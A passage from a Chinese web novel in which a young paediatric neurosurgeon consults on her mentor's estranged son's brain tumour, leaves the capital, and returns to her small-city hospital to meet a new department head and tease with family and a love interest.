她看着舒教授,很快又悲伤起来。 舒教授说得很对,但她自小被卖,没亲人。 * 舒映阶催着南栀早点儿回临川,南栀只好联系祁念珍,她们大概提前商量过,祁念珍也让南栀抓紧回去,说是康宁医院已经变天了。 南栀小声嘀咕:“变天能变成什么样?医院本来就没什么名气……” 祁念珍:“南栀!!” 南栀:“……我知道啦,事情办好就回去。” 舒映阶对现在的生活很满意,这点儿倒是让南栀放心不少。 她把行李打包好,该扔的扔,能带走的都带走。 毕竟来儿研所进修,儿研所也不给她钱花,她得省点儿。 当一个普通医生想赚大钱可真难! 临走前,南栀还打算再去看看韦初雪,她还在康复医院,一直没回临川。 她正在宿舍收拾东西,神外主任派沈玫来把她叫了过去。 神外主任委婉道:“龙潭你知道吗?龙主任。” 南栀点头,“龙主任给我的朋友做过手术。” “现在有点小情况,龙主任想见见你。” 南栀问:“我朋友复发啦?” 没听说啊。 “不不,”主任委婉道,“是和一个病人有关。” 南栀:“?,主任你害怕我吗?” 主任一愣,“我怎么会怕你?” “您不怕我,有话怎么不直说?” 主任:“……” 这不是在官场上混得太久了吗。 不对,他怎么还被这小丫头教训了?! 他拿出主任范儿,“是这样的啊,龙主任手里有一个病人,他得了脑瘤,巨大脑瘤,直径有十三厘米。你不是刚切了一个十厘米的吗?龙主任想叫你过去会诊。” 小儿和成人的头围不同,十厘米和十三厘米都很难处理。 南栀点头,“当然可以,这件事很为难吗?” 别说是龙主任,就算是不认识的医生,她也得去啊。 主任讪笑,“这个病人吧……你也认识。” 南栀:“?” 主任说:“是舒教授的儿子,丁茂才。” 南栀一愣,“这么快就遭报应啦?” “咳,注意措辞。” 南栀委婉道:“这么快就活不下去啦?” 主任:“……” 南栀说:“成人和孩子是不一样的,他这个年纪,就算做了手术,估计也活不了几年。这事先别告诉舒教授了,我怕舒教授接受不了。” 主任问:“所以你同意过去?” 南栀摇头,“我不去。” “为什么?” “他对舒教授不好,我不想管他。” 主任叹气,“我就是怕你这样想,所以没敢和你说。其实我也不想让你去,这不是龙主任难得开一次口,他这人可是挺傲慢的,一直不赞同咱们小儿神外,他还看不上舒教授。” 主任看着南栀的脸色努力浇油,“我都跟他说了,开小儿神外这个科室,是舒教授的决定,可他连舒教授都不服!这回好了,轮到他经验不足向我们请教了,这可是难得的机会。” 南栀拧起眉。 主任:“不过没关系,你不想去就不去了,我尊重你。” 南栀“蹭”地站起来,“他凭啥看不起舒教授?!” 主任偷着乐,“这不都是竞争关系么,正常。” “那也不行!”南栀道,“舒教授和陆教授是最厉害的医生,龙主任……充其量就是个主任!他敢说舒教授的坏话?!” 主任:“所以咱……” 南栀:“我就去看看,我不多话,我就看看他有多厉害。” 主任心满意足。 气冲冲离开主任办公室的南栀:“……” 好像有哪里不太对。 南栀摸到电话亭,郁闷的时候她会选择给箫珵打电话。 箫珵应该在医院,不是在诊室就是办公室,或者在手术室。 南栀先给办公室打电话,只有箫珵在办公室时,她才能打扰他。 接电话的人不是箫珵,但声音也很熟悉。 陆随沉默片刻,才说:“你应该不会找我。” 南栀:“……” 更郁闷了。 陆随说:“箫珵在台上,不方便,让他给你回电话?” “我……”南栀等不了,有点儿急,“找你也行,我问你个问题啊。” 陆随:“喜欢过?没机会?不行?” 南栀:“……” 她怀疑陆随在报复她。 南栀听到陆随的笑声,他语气轻快,“行了,问吧。” 南栀说:“如果你的仇人犯心脏病了,还有其他的医生在 ,但可能需要你去看一眼,你去吗?” 陆随说:“我性格好,没仇人。” 南栀:“你性格好?是谁在骗你,他不诚实,以后不要和他做朋友了。” 陆随:“……” 陆随:“我情商高,不行吗?” 南栀:“?,我的情商才比较高吧?你被人家骗了。” 陆随坚持,“肯定是我情商高。” 心外办公室的医生们:“……” 这俩人估计都被朋友骗了。 和陆随闹了一会儿,南栀才放松下来,她催着问道:“我要不要去?不去吧,作为医生,有点儿过意不去。去呢,又不甘心,我凭什么要管他,舒教授差点儿被他气死。” 陆随道:“我肯定选择去,他死不死是他的事,我做好自己该做的。” “可他对舒教授真的很不好,舒教授病重,他还跑过来要遗产。” 陆随:“可你也说了,就算顺利完成手术,他也不见得还能活几年。但你不去,就会一直过意不去,何苦为了这种人为难自己?如果是舒教授,会去吗?” 南栀:“……” 她闷闷不乐道:“舒教授还想把遗产留给他呢,肯定会去。” 不过陆随说得也有道理,他死不死是他的事,做医生该如何做和他死不死,确实不是一回事。 没必要因为他为难自己。 当天下午南栀便去了富雅医院。 神外很重视,龙潭亲自来迎接。 南栀是和他们主任一起来的。 龙潭和主任握过手,笑呵呵问道:“人呢?没带过来?” 主任把南栀往龙潭面前推,“这不就是?” 龙潭看了南栀好几眼。 这好像是一个病人的家属? 还是“绑架”他去给病人做手术的家属? 龙潭:“是她?!” 第87章 第87章性格好 龙潭只听说小儿神外做了这么一台惊险的手术,舒教授还在台上犯病了,是舒教授的爱徒接手继续做手术的。 儿研所有经验,那就请过来一起研究研究,小儿和成人有不同,但也有相通的地方。 龙潭朝南栀伸手,半信半疑道:“你是舒教授的学生?我怎么记得你……” 南栀客气道:“舒教授很厉害的哦。” 龙潭:“?” 为啥说这个? 他就是知道舒教授厉害,才去找儿研所的? 主任赶紧圆场,“这孩子就是太尊敬舒教授,别在意,咳,赶紧开会,看看病人的情况。” 南栀:“舒教授就是厉害,我得先声明这点,我不能接受有人说舒教授的坏话。” 龙潭:“……” 不太对劲哦。 龙潭带着主任和南栀来到富雅医院的会议室。 南栀以为儿研所的设备已经足够先进,没想到富雅医院的会议室都比儿研所豪华,毕竟是目前为止全国最好的医院,配置不一般。 难怪富雅医院是全国医生的梦想。 龙潭和主任寒暄了两分钟,还在互相谦让,让对方先坐。 他们身后的神外医生们站着干看。 南栀看了一会儿,走向椅子。 主任:“南栀!请龙主任过去坐!” 南栀:“……” 她的行为完全被主任预判到了!主任好厉害! 南栀说:“我是看你们都不想坐,以为椅子上有刺呢,我帮你们先看看。” 主任:“……” 他就知道南栀今天是带着情绪来的!! 好在龙潭的心思都在手术上,没心情在意这些小事。 双方人马坐下,龙潭立刻把病历和片子都拿出来,“位置不太好,连着神经,没办法全切,肿瘤的直径达到十三厘米,实在不小。” 人的脑子才多大?肿瘤就占了那么大的位置,丁茂才到现在才犯病,简直是上辈子修来的福气。 南栀看着片子感慨,“做人果然要心善。” 龙潭:“?” 主任踢了南栀一脚。 南栀换了个说法,“做人果然不能黑心。” 主任:“……” “是这样的,这个病人吧,身份有点儿特殊,”主任说,“其实他是我们舒教授的儿子。” “舒映阶教授?!”龙潭激动地站起来,“那直接让舒教授来……” 主任摆摆手,笑着拒绝,“舒教授生病了,而且她刚刚脑梗,没法上台做手术,这是她家里人,也不太方便,心理上压力太大。这个丁茂才和我们舒教授不太对付,两个人关系一般,我是考虑到他毕竟是舒教授的儿子,舒教授肯定还是不想白发人送黑发人。” 南栀认真听着。 她很讨厌丁茂才,丁茂才平时消失得无影无踪,等舒教授病重立刻跳出来要财产,南栀实在欣赏不了这种人。 但话又说回来,这些年舒教授一直有给丁茂才汇钱,还想过把遗产留给丁茂才,肯定不希望他被病痛折磨死。 尤其舒教授还是神外的专家。 南栀正色道:“龙主任,我们在术中遇到的最大的问题就是止血。肿瘤过大,处理时必须耐心谨慎,稍微触碰就会出血。整场手术持续六个小时,出血约1200ml,输注红细胞7单位,血浆400ml。我已经整理过陶明志的病历,可以先给您参考。” 龙潭:“哦……” 他偷偷看了南栀一眼。 不太确定,好像没看真切,于是又看了一……两三四五六眼。 南栀真是舒教授的学生?还在小儿神外上台了?! 她刚来时倒是说过自己是医生,但明明只是小地方的医生……真有人能在这么短的时间内熟练地手术? 龙潭回忆起自己的艰苦奋斗史,他一直到三十五岁才成为副主任医师,变成患者们信赖的外科医生。 南栀才多大?这是正常人能做到的? 南栀假装看不见龙潭眼中的惊悚。 她若无其事地拿起丁茂才的片子,说道:“他的情况比陶明志糟糕得多,一个是位置更不好,无法全切。再有他的年纪也大了,恢复起来肯定不如孩子。” 龙潭见南栀说得有模有样,暂时收起惊讶,叹气道:“他啊,不做手术随时可能会死,如果手术能成功,还能再活一段时间,但具体是多长时间,谁也说不好。他本人求生意志强烈,不想死,一定要做手术。” 南栀道:“难怪他只来过一次,原来是病了。” 她就说丁茂才不会轻易放弃舒教授的财产。 南栀对龙潭认真道:“其实我们舒教授一直有在研究课题,同时也没落下手术和门诊,真的非常非常厉害。” 龙潭:“?” 对,是,他知道舒教授厉害,不用告诉他? 南栀:“还有啊,我们舒教授做手术也非常干净,一般人根本比不上,就算她现在年纪大了,体力不如年轻时,也比我们都强。” 龙潭:“?” 可不,舒教授以前也是成人神外的医生,然后呢? 南栀:“我们舒教授呢……” 主任又踹了南栀一脚。 南栀:“……” 她得为舒教授正名啊! 主任:再说下去他人就折在这里了。 对于丁茂才的手术,南栀给了一些意见,会议一共持续两个小时,顺便确定手术入路。 主刀的是龙潭,龙潭能做到富雅医院神经外科主任的位置,实力不在话下。 会议结束,龙潭偷偷把主任拉到角落,“南医生就是你说的舒教授发现的天才?” 主任摇头。 龙潭放松不少。 主任说:“应该是陆教授发现的,是陆教授推荐给舒教授。” 龙潭:“……” 怎么还有陆教授的事? 神外主任在两尊大佛面前也得恭恭敬敬。 主任道:“天才的事,我也不太懂。” 毕竟他也是三十多岁才开始慢慢主刀高难度手术的。 龙潭:“……” 还好他给韦初雪做的手术成功了,不然就丢大人了! 丁茂才的手术还要再准备几天,南栀再去舒映阶家已经被催着走了。 舒映阶不想耽误南栀的时间,南栀只能答应先回临川市。 不管怎么说,舒教授还没到最后关头,她还能再来看望她。 至于回临川,也有很多麻烦事,比如康宁医院没有MRI,还少很多设备。 她想在康宁医院顺利做上手术,难度很高。 还有她的学历问题,也得提上日程,普通的主治医生的工资和主任的工资可不一样,南栀得向陆教授学习,不能让父母跟着她吃糠咽菜。 在首都这段时间,没有韦宁雨帮她卖笔记,她的日子过得可太紧了。 南栀很快打包好行李,先邮回临川。 临走前,她还得去看望她的病人们,住院部的孩子们个个乖巧可爱、招人喜欢。 南栀看着他们一个两个被纱布裹起来的头,完全没有折腾的力气,果然只有可爱。 不过还是闹腾点儿好,闹腾了,起码证明身体不错,南栀现在只希望所有人都能健健康康地离开医院。 南栀在缴费处遇到唐水花和陶靖。 陶靖看到南栀,便一直盯着她,唐水花笑着解释道:“我们又去借了点儿钱,还有好心人赞助我们,也不知道她是从哪里得 到消息的,等小志的情况好一点儿,我也得继续上班,争取早点儿把债还清。” 南栀笑道:“那就太好啦。” 向来沉默寡言的陶靖朝南栀伸出手。 陶靖的模样有点儿唬人,南栀小心翼翼伸手。 陶靖道:“谢谢。” 南栀:“?” 陶靖和唐水花离开。 还不等南栀问些什么,好几个孩子的家长追了上来,“南医生,听说你要走啦?太可惜了,你真的是很厉害的医生。这是我从家里带来的特产,你拿回家吃啊,早知道你要走,我得给我你多带点儿!” 南栀很快被特产淹没。 小儿神外也给南栀办了“欢送会”,主任掏钱请大家下馆子,不上台不备班的医生还喝了酒。 沈玫抱着南栀的胳膊痛哭,“你真的要走么,我会想你的,你是我的榜样!” 主任被吓到,“这是喝了多少?” 奚阳华说:“我看她不像是舍不得南栀,分明是找个机会哭一哭。” 主任看向奚阳华,“你看起来倒是一点儿都不难过。” 奚阳华的嘴角疯狂上扬,“没有啊,我很难过,很舍不得南栀,她如果不走就好了,哈哈哈哈。” 主任:“……” 演都不演。 大家喝了几杯酒,更能敞开心扉,有人拉着南栀劝道:“你回临川那种小地方实在可惜,经济不行、设备不行,说难听点儿,就连病人都不行,一遇到棘手的病历,就得往大医院转,这是限制你的发展。不如你留在首都上学,将来如果能来儿研所,咱主任肯定得帮忙。” 主任说:“就算我不帮忙,舒教授也会帮忙。” 副主任道:“我听说好几个科室主任都惦记着南栀呢。” “呸,南栀已经是神外的医生了,还想让她再去做其他手术?聪明人是这样用的?” 主任顺便痛骂了一通其他科室主任。 奚阳华眼巴巴凑过来,“主任主任,我能留在神外吗?” 奚阳华的头被抡走。 奚阳华:“……” 主任:“?,刚刚有人说话?” 临走前,南栀再次去看望舒映阶。 王敏已经搬了进来,她白天要去医院,晚上会回来陪舒映阶,午饭都是提前准备好的。 王敏不像舒映阶这么拼,她是个很懂养生的教授,也不为难自己,不会拼命加班,每天都准时下班。 到王敏这个年纪,精力实在有限,她年轻时已经发光发热过,现在继续当医生,实在是因为人手不够,缺有经验的老教授,她愿意去门诊已经很值得敬佩了。 毕竟老教授们虽然不是每个人都能大富大贵,但真的不会太缺钱。 舒映阶和朋友在一起时,看起来最放松。 南栀把家附近商店的电话和康宁医院的电话全都留给舒教授,还留下了地址,“如果有事,一定要来找我哦。” 舒映阶认真收好南栀的联系方式,“我会经常打电话督促你。” 南栀眼睛越来越酸。 再不走,她估计要失态,和舒映阶郑重道谢后,南栀便离开了。 沈玫和奚阳华送南栀去火车站。 一路上,沈玫眼睛微红,奚阳华眉飞色舞,高兴得很,“这是我给你买的首都的特产,这是果脯这是糕点,最出名的那家糕点,我一早去排队买的!这是驴打滚,也是刚做的,你回去慢慢吃,不够我再给你邮,没什么特别的事尽量别回来。” 沈玫:“……,你果然盼着南栀走。” “怎么会,”奚阳华笑成大金毛,“嘿嘿嘿嘿我真的特别舍不得南栀,真的很怀念和她做同事的日子。” 沈玫:“……” 南栀目光深沉,看着奚阳华的目光十分深情。 奚阳华:“?” 南栀说:“每一次见面,都可能是最后一面,你要好好的。” 奚阳华:“?,老子可没要死!别咒老子!” 南栀带着奚阳华对她沉重的“爱”上了火车。 现在离开首都,对她而言不是坏事,首都再好,她也想回临川。 不只是因为她的家人、朋友都在临川,更重要的是,她希望小城市的孩子们也能及时接受治疗。 医生愿意留在家乡发展,小城市没有被放弃,她相信总会有那么一天。 * 南栀在火车上睡了一路,饿醒了就吃奚阳华送给她的驴打滚。 虽然奚阳华的“爱”别有深意,但别说,驴打滚的味道还真不错。 火车在第二天下午抵达临川车站,首都火车站和小城市火车站最大的区别就是,临川市的火车站可以随便进,而且站台很低,南栀要拎着行李往下走,稍微不注意就会被行李带下去。 车站修得也不好,坑坑洼洼的,但南栀一下车,就多了份归属感。 她拎着笨重的行李艰难地往前挪。 箫珵很快迎上来,“回来啦。” 他接过南栀手中的行李,揉揉她的头发。 临川市的温度比首都低,已经是冬天。 箫珵穿了一件黑色呢子大衣,五官精致,很显身材,站在人群里很亮眼。 昨天临川市下了一点儿小雪,现在棚顶还有一层雪花。 整座城市都被这层雪覆盖,远处有工厂冒烟的大烟囱,低矮的平房和楼房交织,太阳终于从云层后钻出来,白雪金灿灿的,很有温度。 南栀心情很好,“你怎么来了,不是要上班?我妈说要来接我。” 箫珵听南栀提到“妈”,心情其实挺微妙,他知道黄春兰对南栀很好,如果南栀只记住这一个“妈”,那就更好了。 “正好调了个班,我和某些人不一样,明明休息,还不愿意来,最后又别别扭扭过来,丢人。” 箫珵挑衅地看向站台上的石柱。 柱子后面站着陆随 。 陆随的打扮和箫珵差不多,也是黑色大衣,但多了一条灰色围巾。 这两个高个头模样俊俏地站在一起,再加一个南栀,站台上的工作人员都在往这边看。 “这仨人有点儿眼熟,是不是上过电视?” “哦,男的好像是什么心脏的医生,上过新闻频道,说是救了什么人,有什么技术,医院里有什么设备。” “谢谢,说了和没说一样。” 小地方就是这点不好,尤其是临川市本地人,互相都认识,哪里有点儿风吹草动,全市都能传遍。 尤其是临川市这种人口不多的小城市。 旁边的人很激动,“不一样!!这仨人有问题!一定是轰轰烈烈的三角恋!!” 南栀:“……” 陆随轻咳,“刚好休息。” 南栀和箫珵不语。 陆随:“……奶奶下个月要去看舒教授,我提前来车站看看。” 箫珵冷笑。 陆随:“……” 陆随指着箫珵说道:“我昨天看到他和陌生女人吃饭。” 箫珵:“……,那是我的相亲对象!我也不想去!” 陆随这家伙,明明说好不乱说!! 南栀的注意力转移到箫珵身上,“哥,你得对女孩子负责,不能和以前一样。” 箫珵:“以前?” “我听你舍友说,你经常和女孩子约会,然后无情地甩掉她们,有女孩子会跑到你们宿舍楼下哭着要见你,但你特别绝情,能把人家晾一宿。” 陆随微笑。 箫珵:“?!,谁说的!” 南栀问陆随:“你知道这事吗?” 陆随:“不知道。” 南栀:“……” 那他干嘛要笑? 陆随:“对他不好的传闻,都比较好笑。” 箫珵:“……” 箫珵问:“哪个舍友,没说过陆随?!” “也说过,”南栀道,“说他没有女人缘,女人躺在他床上,他都要请她让开地方,因为耽误他睡觉了。” 箫珵:“噗,差不多。” 陆随:“……” 他克制道:“不至于。” 箫珵问:“你说说,一男一女能做什么?” 陆随:“你在质疑我的生物成绩。” “我知道你懂,我是问你,具体该怎么做。” 具体该怎么做…… 陆随:“……” 箫珵露出轻蔑的笑容。 陆随强装镇定,“这很复杂?到时候就知道了。” 箫珵:“呵呵。” 南栀好奇道:“应该怎么做?” 陆随和箫珵异口同声,“小孩子别瞎打听!” 南栀:“……” 她只是想学学知识啊。 箫珵道:“到底是哪个舍友说的,我什么时候招惹过女生?我都没正经谈过恋爱。” 南栀道:“好像姓卢。” “哦,卢旭吧?” 南栀点头。 陆随有点儿奇怪,“他为什么要和你说这些?” 提到箫珵就算了,箫珵是南栀的亲哥,提到他是什么鬼?他和舍友根本不熟。 最熟悉的就是箫珵,他俩天天在教授面前热情地“讨论”。 一般人称之为吵架。 南栀说:“不知道诶,他经常去找我,约我去吃饭,这些话都是吃饭的时候说的。” 陆随:“!” 箫珵:“……” 陆随&箫珵:“这孙子!” 居然敢打南栀的主意! 更可气的是,他们现在还收拾不了他! 三人走出车站,陆随是开车过来的。 箫珵自然而然坐进去。 刚坐好,他又想起什么,起身把南栀揪到副驾驶,“你坐这里。” 南栀:“?” 箫珵微笑,“听话,坐。” 南栀看了看箫珵,又看了看正插钥匙的陆随。 陆随看向箫珵,拧起眉,他强调道:“我只是来看看火车站什么样。” 箫珵:“啊对对,我信。” 陆随:“……” 三人坐好,陆随黑着脸开车。 南栀很想帮帮陆随,于是好心告诉他,“其实火车站没什么特别的,你送陆教授过来时再看也来得及。” 陆随:“……,谢谢你。” 南栀:“首都那边的车站比较大,要走挺远,最好有人能送陆教授过去。” 陆随:“……,姑姑会一起去。” 南栀:“那你就不用担心啦。” 陆随:“……” 箫珵扶额。 他妹妹怎么就……一点儿都不懂浪漫的?? 箫珵有点儿受不了,“你们两个不是在首都见过面了吗?怎么谈的,就谈成这样?” 南栀很茫然。 她和陆随谈得很好啊。 而且看到陆随后,她的心情确实好了不少,现在基本上已经把她亲爸亲妈的事忘了。 箫珵道:“听我的,你俩再试试!” 陆随余光看向南栀。 南栀微怔,后知后觉意识到箫珵在说什么,“这……” “你如果不舒服,就揍他,不用客气,先试试。” 陆随又看向箫珵。 箫珵捶了他一拳,“你看路!” 陆随:“……” 箫珵苦口婆心地劝道:“陆随这人,虽然讨厌,但起码还算是个人吧,你明明和我说过,你对他有好感。” 陆随踩油门的脚差点儿滑到底。 箫珵又捶了陆随一拳,“你给老子好好开车!” 陆随:“……” 他尽量装作镇定,余光却一直往南栀身上瞟。 箫珵:“把你的嘴角压下去!” 陆随:“……啊,我没笑,呵呵。” 箫珵:“……” 瞧他不值钱的样子! 南栀低声道:“我也不知道为什么,就是……就是有点儿害怕。” “慢慢接触,不着急,你总不能一辈子单身吧?” 陆随压住嘴角,正气凛然道:“她想一个人就可以一个人,结婚也不见得是好事,你操太多心了。没有必要一定改变。” 箫珵:“你懂什么?她可以选择一个人,但不能因为害怕,所以是一个人。南栀,你就拿陆随练练手,大不了就把他踹了,能怎么样?先试试,试试再说。” 陆随:“……,哦。” 原来他只是工具人。 南栀看了陆随半晌,轻轻点头。 其实……她也确实蛮想试试的。 * 南栀在家休息了两天才去上班。 不是她工作不积极,实在是家里人不放她走。 她一回来,黄夏兰和黄秋兰都来家里看她,还带着已经成为护工的孟闵。 最不幸的是,孟闵还跑到康宁医院工作了。 黄夏兰一脸满足,“我对他没什么要求,能找个工作正常生活就行,多亏了小栀,总算把这瘟神带出门了。” 南栀在胸口画十字,“哦,我的患者们。” 孟闵:“别装了你根本不信!!” 南栀:“我只是由衷地替患者担心。” 认真说起来,孟闵也不算是正经护工,应该是护士,康宁医院在这方面分得不是特别细。 他主要是留在ICU照顾病患,听说是黄夏兰托关系,又找了师父专门教他,才把人踹进ICU。 有关系的重要性。 第三天,南栀正式回康宁医院儿科报到。 孟闵和她一起上班。 南栀看到什么都很感慨,“哇,破烂的大门。” “哇,破烂的门诊楼。” “哇,破烂的住院部。” “哇,破烂的……” 孟闵捂住南栀的嘴,“再说几句,咱俩要被这里的医生打死了!” 南栀发现走在院子里的医生她都不认识。 不过这也正常,医院科室多,她走之前就只认识常去的几个科室的医生而已。 走到办公楼,南栀和孟闵告别,她得先去祁念珍的办公室,再去找儿科主任报道。 南栀一进门,祁念珍便冲上来抓住她的手,十分热情,“你可终于回来了!康宁的儿科不能少了你!你是我们儿科最优秀的医生!” 南栀:“……,祁院长,我已经回来了,不用演戏了。” 祁念珍:“……” “咳咳,是舒教授害怕你为了她打乱自己的计划,让我们配合,站在我个人的角度,我当然希望你能留 在儿研所,十个康宁医院,都比不过一个儿研所。” 但站在医院的角度,祁念珍当然希望南栀能回来。 只不过祁念珍不想埋没人才。 南栀道:“说不定以后康宁医院会和儿研所一样厉害呢?” 祁念珍保持微笑。 南栀是院长还是她是院长? 她这个院长都没做过这种梦。 南栀道:“梦想嘛,总是要有的。” 祁念珍:“呵呵,我相信你,你一定可以。” 南栀带着祁念珍的“信任”离开她的办公室。 儿科办公室还在老地方,先前来的那一批实习生已经走了。 南栀来到办公室,有点儿期待能看到阮乔和盛昭云,她推开办公室的大门,看到的都是陌生人。 南栀退出办公室,抬头确认自己是否走错。 韦宁雨站起来朝南栀挥手,“这里这里,没走错!” 南栀脸上瞬间爬满笑容,“我真的想死你了!” 韦宁雨嘿嘿笑道:“我有这么好啊?你还挺怀念我。” 南栀用力点头,“你不在,我的零花钱都变少了!” 韦宁雨:“……” 拖出去打死她。 南栀看向四周,“乔乔呢?她又迟到啦?她……” 韦宁雨笑着不说话。 南栀身后的门忽然自动合上,接着便传来鬼魅般的声音,“以后我们俊俊在,你就不用担心没钱了……” 南栀回头,看到披头散发的阮乔。 阮乔故意把头发都撩到前面,南栀只能看到圆圆的脑袋和长发。 南栀:“……” 韦宁雨瘪嘴,“我就说南栀不会害怕,你非得搞这一套,幼稚。” 南栀:“……,哇,好吓人。” 阮乔立刻恢复正常,“看!她怕了!!” 韦宁雨:“……” 其他医生都在看三人。 阮乔吐吐舌,把南栀和韦宁雨拉到走廊,“唉,我们儿科真是壮大了,但还不如最开始,我的办公室只有我一个人,你们俩能随时过来。” 南栀道:“好像来了很多人?” “你不在的这段时间,可发生太多事了。调过来一个新的主任,叫尚延,还有个副主任,祁院长拉过来一个主治医生。” 阮乔亮出自己的工牌,得意道:“我现在也是主治医生了。” 韦宁雨打了个哈欠,“你走之后,她是日夜苦读,家里的花儿都养死了,终于评上主治医生。” 阮乔:“胡说!” 韦宁雨:“哦对,就算不日夜苦读,你也养不活。” 阮乔:“……” 南栀踮脚看向办公室,“盛医生呢?” “我们老盛现在是真主任了,和我们不一样,人家不跟我们在一个办公室。” 南栀困惑道:“你刚说调来了新的主任?” 韦宁雨道:“盛昭云评上了副主任医师。” “我们盛主任虽然比我们大几岁,但扔在副主任堆里,那还是相当年轻的,盛医生未来可期!” 韦宁雨瘪嘴,“你们都评了新职称,只有我,还是破护士。” 南栀笑道:“我和你一样,也没名分啊。” “那不一样,你有实力,而且你不是去学着怎么做手术吗?你能开刀。” 阮乔对神经外科的手术充满好奇,“开脑袋真的要用到锯子?直接把骨头割断?我连木头都锯不断,怎么办!” 她可是要给南栀当助手的!! 南栀笑眯眯道:“慢慢练就好了,没那么难,可以自己找找手感。” 阮乔看向韦宁雨。 韦宁雨:“别想砍我的头!!” 南栀阻止两人继续大脑,问道:“为什么叫他俊俊?” 韦宁雨亮出证件,“我已经改名了!” 在他坚持不懈几乎要住在派出所的情况下,派出所终于同意给韦宁雨改回原名,现在他的证件上写的全是“任俊”。 只是他来医院后,一直用的是“韦宁雨”这个名字,所以大家基本上还维持原来的叫法。 阮乔也考虑过不叫他本名会不会不好,但韦宁雨看得很开,这是他和医院的缘分,和韦家没关系。 三人正说着话,阮乔忽然立正站好。 一个穿白大褂的男人飘过。 男人相貌端正,戴眼镜,发型和衣着都规规矩矩,年纪比金瑞大一些,但不会大太多,应该还没超过四十岁。 不到四十便爬到主任的位置,也是个厉害人物。 阮乔:“尚主任好!” 尚延点了下头,没理三人。 南栀:“尚主任看着还蛮好相处的嘛。” 阮乔&韦宁雨:“……,从哪里看出来的?!” 南栀说:“都没怪我们不工作。” 韦宁雨好心提醒:“现在还没到上班的时间。” 阮乔痛心疾首道:“一个尚主任,一个卢主任,你是不知道我们这段时间是怎么熬过来的。儿科变天了,再也不是从前的儿科了!小栀啊,儿科得靠你整顿!!” 南栀:“我?我脾气好,要求低,谁都不敢得罪,怎么整顿?” 阮乔:“……” “这孩子是不是傻了?” “我第一次碰到对自己认知完全错误的人。” “是不是该送神内?” “嗐,让她给自己开个刀。” 南栀充耳不闻。 反正她的人设永远不会变! 办公室内忽然传来争执声。 阮乔哆嗦了一下,躲到南栀身后,“又来了。” 南栀:“?” 她依稀能辨认出,骂人的似乎是刚刚经过的尚主任。 他不知在教训谁,两分钟后,办公室的门被甩开,一个陌生的年轻男人走出来。 男人也穿白大褂,但只有二十多岁,身形消瘦,戴着口罩,但眉眼很精致。 他似乎做过造型,头发看着蛮顺眼的,挺时髦。 他“砰”的一声关上门。 阮乔低声道:“主治医生魏联,总惹主任生气。” 南栀看了一会儿,说:“他脾气还挺好诶。” 阮乔&韦宁雨:“……” 哪里好了? 南栀是把性格有关的词都记反了吗??! 第88章 第88章夸奖 康宁医院的儿科情况比较复杂,但复杂也算好事,儿科总算不像以前那般寒酸。 儿研所的医生稍微少一些,南栀在富雅医院的一个科室就能看到五六个副主任医师,康宁的儿科现在只能说刚刚起步。 南栀几人回到办公室听尚主任训话。 韦宁雨的领导是护士长,不用过去。 “尚延,魏联,这名字还挺押韵,”阮乔小声吐槽,“就他俩最不对付。” 尚延看过来。 阮乔立刻板板正正坐好。 尚延道:“有些同事,心里有一些小想法,最好藏好,我不管你是什么人,在我这里,业务能力最重要。” 南栀频频点头。 说得对,能看病才是最重要的。 “部分人要端正态度,要知道我们做医生的,实际上是为患者服务,对待患者要温和,不能学魏联,天天和患者吵架!” 原来魏联是在门诊时态度不好,被尚延训了。 阮乔继续嘀咕,“昨天有个孩子来看病,把魏医生的工牌都抢走了,特别皮,魏医生和他家属吵起来了。” 尚延再一次看过来,“阮乔,你最近表现不错,要坚持,今天怎么总开小差。” 他说完便看向南栀,阮乔每一次说话的对象都是南栀。 尚延没见过南栀,很眼生。 “你是?” 南栀赶紧站起来自我介绍道:“尚主任,我是儿科的医生,前几个月在首都,刚回来。” “哦。”尚延没放在心上。 他被调到康宁医院的儿科时,看了所有医生的档案,的确有一个人去首都了。 但是这人的档案很奇怪,没什么正经的学历,只有一段参加培训班的经历。 临川市政府组织的培训班他知道,还是恩德的一个儿科医生去授课,在他眼里十分胡闹。 培训班出身的医生能去首都进修,这事挺奇怪,但尚延后来一打听,原来这位是陆教授的孙媳妇,也是心外陆随的未婚妻。 这就能理解了。 尚延不太喜欢这种走后门的人。 他收回目光,继续说道:“早上去查房,跟着我查房的几个人,尤其是邢小谷,对病人的情况一问三不知,私下有做好功课吗?患儿家属问你情况,你也说什么都不知道?” 邢小谷是个女医生,是上个月才来的主治医生,阮乔还没来得及提到她。 主要是阮乔对她的印象不深,她们但凡有交集,都是邢小谷在挨骂。 尚延说完,低头看着老老实实的主治医生们。 这几个人虽然水平一般,但好歹还听话,能让他安慰点儿。 除了…… 尚延神色复杂地看着正摆弄钢笔的南栀。 这钢笔是阮乔刚买的,居然不漏墨! 朋友们,家人们,在八十年代不会漏墨的钢笔!! 尚延很无语。 走后门就算了,就不能老老实实的?非得当显眼包。 尚延敲了敲桌子,“这位……你叫什么?” 阮乔碰了碰南栀。 南栀抬头,放下钢笔恭敬道:“ 我叫南栀。” “哦,南栀,”尚延说,“我对你的要求不高,好好学习,不要惹事。咱们儿科水平差的医生太多了,明白吗?” 南栀点头。 南栀:表现不好的医生怎么可能会有她! 尚延又说:“还有……” 他被气得有点儿迷糊。 魏联、邢小谷,一个个都不让人省心。 也就阮乔还凑合,但今天也有开小差的迹象。 看来看去,儿科只有盛昭云能顺眼点儿。 这科室以前是怎么维持的?! “还有什么来着?” 南栀看了看地面,为了帮主任排忧解难,主动狗腿道:“办公室没有打扫诶。” “哦对,办公室也没打扫……谁管你有没有扫!你们的办公室,你们愿意待在猪窝里,我管不着!” 尚延不满地瞪了后门一眼,拂袖离去。 阮乔靠近南栀,“怎么突然提起办公室的卫生了?” 南栀说:“尚主任不是需要发泄口吗,我给他找几个发脾气的借口呀。” 阮乔:“……” 南栀:“我们在职场上,就该迎合领导,不能硬碰硬,和领导搞好关系很重要。” 她煞有介事地分享职场心得。 阮乔:“……” 阮乔拍拍南栀的肩膀,“本来可能只是普通的挨骂,你这样容易变成刑事案件。” 被气急败坏的主任谋杀的那种。 南栀今天没有排班,尚延把她派给阮乔。 仔细想想,南栀现在连主治医生都不算。 学历必须得尽快搞起来。 南栀抽空去找了祁念珍,向她询问跨过本科考研的方法。 祁念珍还是希望南栀能去首都念书。 “留在首都,留在儿研所,对你来说好处更多。我也很希望你能有机会去首都念书,舒教授和陆教授开口,我想首都会有大学收留你。” 南栀态度很坚决,“只要能让我一边学习一边工作就好。” “按理来说是要周一到周五去上学……我再联系学校看看。” 祁念珍很头疼。 南栀每个学历都拿不出手,以后怎么办? 南栀狗腿道:“祁院长,还有一件事,咱们的神外现在能做什么手术?” 